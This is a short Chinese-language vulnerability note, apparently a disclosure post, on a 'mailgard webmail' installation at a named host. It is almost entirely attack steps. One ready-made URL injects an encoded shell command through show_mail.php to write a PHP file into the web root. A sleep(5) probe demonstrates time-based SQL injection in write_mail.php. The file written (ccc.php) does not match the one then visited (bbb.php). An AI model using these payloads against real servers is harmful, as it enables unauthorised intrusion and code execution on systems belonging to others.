mailgard webmail:
show_mail.php:
找到一个用户登录:
发送url:
http://mail.iconergy.com:889/src/show_mail.php?sd=aaaa%253A%2520%2526%2520echo%2520%2527%253C%253Fphp%2520phpinfo%2528%2529%253F%253E%2527%2520%253E%2520%252fvar%252fwww%252fnewmail%252fccc.php&delMove=move&toBoxName=yyy
访问:
http://mail.iconergy.com:889/bbb.php
sql注射地方:
write_mail.php:
跟进去getLinkmanByManid 看看:
直接请求:
http://mail.iconergy.com:889/src/write_mail.php?manId=sleep(5)
造成延迟 这里构造sql就不多说了